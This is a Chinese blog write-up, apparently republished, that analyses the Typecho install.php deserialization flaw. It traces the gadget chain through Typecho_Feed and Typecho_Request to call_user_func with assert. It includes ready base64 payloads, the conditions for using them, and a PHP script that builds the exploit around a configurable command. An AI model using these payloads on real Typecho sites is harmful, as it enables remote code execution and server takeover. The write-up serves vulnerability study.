Typecho install.php存在的反序列化漏洞
来源:互联网 发布:xml json yml 编辑:程序博客网 时间:2024/05/21 21:40
0x00 前言
很久没有在安全方面折腾,突然收到“爸爸云”的短信,“您的服务器xxx.xxx.xxx.xxx存在网站后门,为防止黑客进一步入侵,请登录进行查看和处理”。当时正在出差,手头没电脑,草草看了一眼没来得及处理,最近得空研究了研究。常在河边走,哪有不湿鞋,网上已经有该漏洞的详解,仅以此文记录对反序列化漏洞研究的一个学习过程。
0x01 漏洞复现
使用工具:
1、Firefox浏览器+HackBar插件
2、Payload
// 下面这段Payload是执行 phpinfo();
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
使用条件:
1、$_GET[‘finish’] 参数不为空
2、Referer 必须是本站
注:Payload可以通过插入Cookie提交,也可以通过POST提交。
复现:
0x02 漏洞探索
一开始收到短信,我还以为是评论区造成的。先登陆阿里云后台看看是什么问题。
本以为只是无伤大雅的小洞,看了之后一惊,Webshell,吓得我赶紧登陆服务器,虽然服务器上没什么值得窃取的。
一句话木马,expsky应该是一个昵称,百度一下。
果然是个昵称,混迹于FreeBuf,最近一篇文章就是关于Typecho反序列化漏洞相关的。本以为是他把我怼了,看了文章之后才发现原来只是漏洞利用检测工具的作者。
在此感谢expsky
从文章中,得知漏洞存在于install.php文件,附上了漏洞检测工具,不过并没有报告漏洞细节。
传送门Typecho漏洞利用工具首发,半分钟完成渗透测试
0x03 漏洞细节
得知漏洞所在文件,接下来就研究研究。
漏洞存在与229-235行。
<?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db);?>
程序要运行到此处需要满足两个条件
1、$_GET[‘finish’] 参数不为空
2、Referer 必须是本站
这段代码第一行先调用了Typecho_Cookie::get()方法获取$_GET[‘__typecho_config’],跳转进去可以看一下
可以看到,如果cookie里不存在‘__typecho_config’字段,则从$_POST里查找。
所以在利用的时候,可以直接使用POST提交‘__typecho_config’
接着往下看
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
获取到值之后,先base64解码,然后再用unserialize反序列化,赋值给$config。
看到这,那我们input的内容就是要构造一个‘__typecho_config’,来output我们想要的东西。
继续往下寻找可利用的output的地方。
在反序列化之后,取出
$db = new Typecho_Db($config['adapter'], $config['prefix']);
继续跟进Typecho_Db
构造函数在Db.php的114行
public function __construct($adapterName, $prefix = 'typecho_'){ /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName();}
第120行
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
此处对传入的$adapterName进行了字符串拼接。
如果传入的$adapterName,是一个类,那么在将这个类进行字符串拼接的时候就会触发这个类的__toString()方法
注:这里涉及PHP的魔术方法,简单说一下,魔术方法就是在某些情况下会自动去调用的方法,比如很多面向对象编程语言都存在的构造函数、析构函数等等,都可以理解为魔术方法。
相关方法以及触发条件推荐两个参考链接
PHP 魔术方法
PHP中的魔术方法总结
其实下面这张图已经非常简单明了
注:图片摘自 [Typecho install.php 后门分析 |王松_Striker - Web安全与前端]
那我们就来全局搜索一下,看看那些类使用了__toString()方法,可以让我们进行利用。
其中有三个类有使用__toString()方法
var/Typecho/Config.php
var/Typecho/Feed.php
var/Typecho/Db/Query.php
其中Config.php里没什么好利用的,我们再看一下Feed.php和Query.php
在Query.php中存在可以触发_call()的魔术方法,全局搜索跟进_call()魔术方法之后没有可利用的点,我们直接查看Feed.php
Feed.php,在290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
这里访问了$item[‘author’]->screenName
我们回顾一下上面说的魔术方法,其中__get()这个方法在读取不可访问的数据时触发
而
到这里,我们缕一缕思路再继续
1、从Cookie或者POST的数据中寻找到‘__typecho_config’字段
2、然后调用‘__typecho_config’中的‘adapter’和’prefix’实例化一个Typecho_Db类
3、在实例化过程中,采用了字符串拼接访问了‘adapter’,当我们设置的‘adapter’字段是一个类的话,就会触发这个类的__toString()魔术方法
4、寻找到Feed这个类中的__toString() 魔术方法,访问了$item[‘author’]->screenName
5、当$item[‘author’]->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法
好的,至此我们还没有寻找的可利用的output点,我们继续全局搜索一下可利用的 ‘__get()’ 方法
在文件Request.php 267行
public function __get($key){ return $this->get($key);}
跟进get() 293行
public function get($key, $default = NULL){ switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value);}
这一段的判断条件,都可以控制$value的值
没有问题,$value的值依然在可控范围
继续跟进_applyFilter()
private function _applyFilter($value){ if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value;}
在163-164行,使用了array_map()和call_user_func()
我们查一下这两个函数分别是什么意思
这下就好玩了,这两个函数都是代码执行相关的函数,也就是我们想要的output了
刚刚缕了缕思路,我们再来回顾一边
1、从Cookie或者POST的数据中寻找到‘__typecho_config’字段
2、然后调用‘__typecho_config’中的‘adapter’和’prefix’实例化一个Typecho_Db类
3、在实例化过程中,采用了字符串拼接访问了‘adapter’,当我们设置的‘adapter’字段是一个类的话,就会触发这个类的__toString()魔术方法
4、寻找到Feed这个类中的__toString() 魔术方法,访问了$item[‘author’]->screenName
5、当$item[‘author’]->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法
6、Typecho_Request类的魔术方法中,调用了get(),该方法内,检测了_params[$key]是否存在
7、将_params[$key]的值传入_applyFilter()方法,并执行代码
OK.知道条件之后我们就来构造我们的Payload
首先看看我们实际提交的结构
( // 实例化一个Typecho_Db, 数组必须包含 'adapter'和'prefix'两个键值 /** * 实例化Typecho_Db时构造函数中进行字符串拼接, * 如果值为对象,则触发该对象的 __toString()魔术方法 */ [adapter] => Typecho_Feed Object ( /** * 在Feed的__toString()魔术方法中, * 290行和358行,访问了$item['author']->screenName * 程序要运行到此处$this->_type必须为 "RSS 2.0"或者"ATOM 1.0" */ [_type:Typecho_Feed:private] => RSS 2.0 /** * 当从不可访问的属性中读取,将会触发该类的__get()魔术方法 */ [_items:Typecho_Feed:private] => Array ( [0] => Array ( /** * 'category' 用于分支处理,如果不用于回显数据,此字段可以省略 * 此处需要构造非空数组,且成员值为对象 */ [category] => Array ( [0] => Test Object ( ) ) /** * 此处构造满足触发Typecho_Request对象的__get()魔术方法 */ [author] => Typecho_Request Object ( // 必须包含两个键值 '_params'和'_filter' /** * @ 此处为触发的关键部分 * 1、由Feed类中访问screName触发Request的__get(), * 在Request.php的290行传入$key='screenName' * 2、此时get()函数内 $value='phpinfo()' // 296-297行 * 3、继续判断了 $value值非数组,且长度大于0 // 307行 * 4、将 $value 传入 _applyFilter() * 5、判断 $this->_filter // 161行 * 6、遍历 $this->_filter // 162行 * 7、$value非数组,执行call_user_func($filter, $value) * 8、最终执行结果为call_user_func(assert, phpinfo()) */ [_params:Typecho_Request:private] => Array ( [screenName] => phpinfo() ) [_filter:Typecho_Request:private] => Array ( [0] => assert ) ) ) ) ) // 分支处理 [prefix] => typecho_)
上面部分可能注释太多,看起来比较乱,我贴一个没有注释的
( [adapter] => Typecho_Feed Object ( [_type:Typecho_Feed:private] => RSS 2.0 [_items:Typecho_Feed:private] => Array ( [0] => Array ( [category] => Array ( [0] => Test Object ( ) ) [author] => Typecho_Request Object ( [_params:Typecho_Request:private] => Array ( [screenName] => phpinfo() ) [_filter:Typecho_Request:private] => Array ( [0] => assert ) ) ) ) ) [prefix] => typecho_)
构造完成,序列化后使用base64加密,得到Payload
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
使用方法看文首 0x01 部分
0x05 编写EXP
<?php$CMD = 'phpinfo()';class Typecho_Feed{ const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; private $_type; private $_items; public function __construct() { //$this->_type = $this::RSS2; $this->_type = $this::ATOM1; $this->_items[0] = array( 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); }}class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = $GLOBALS[CMD]; $this->_filter[0] = 'assert'; }}$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_');echo base64_encode(serialize($exp));?>
感谢 王松_Striker 和 p0
附上参考链接
Typecho install.php 后门分析
Typecho install.php 反序列化导致任意代码执行
CSDN:http://blog.csdn.net/byb123
Blog:https://www.wangsansan.com/
公众号:iamwangsansan (山中书)
欢迎关注
内容不定时更新
欢迎转载,请注明出处
作者:王三三
链接:https://www.wangsansan.com/archives/18/
来源:https://www.wangsansan.com/
- Typecho install.php存在的反序列化漏洞
- PHP魔术方法:Typecho反序列化漏洞
- 一种基于PHP的交互式Typecho反序列化漏洞利用工具
- 理解php反序列化漏洞
- php 反序列化漏洞概览
- PHP反序列化漏洞学习总结
- typecho install.phpl漏洞分析
- JAVA反序列化漏洞
- JBoss4 反序列化漏洞
- weblogic 反序列化漏洞
- 序列化和反序列化漏洞的简单理解
- Joomla反序列化漏洞的查漏补缺
- Joomla反序列化漏洞的查漏补缺
- 反序列化漏洞的末日?JEP290机制研究
- php 反序列化
- php反序列化
- Java反序列化漏洞详解
- java反序列化漏洞解决方案
- XTU1165 算术题
- javaweb谈一谈Servlet线程安全问题
- Microsoft Word 2010
- 从计算机底层来解析java内存结构!
- git学习笔记
- Typecho install.php存在的反序列化漏洞
- C++通过mysql自带的API函数连接mysql数据库
- 单体模式和工厂模式
- Django xadmin log页面报错
- Golang实现七大排序(1)
- 构建maven时No archetypes currently available的解决方法
- scratch3.0中文版下载
- 模式识别、机器学习的区别和联系
- 设计模式---组合模式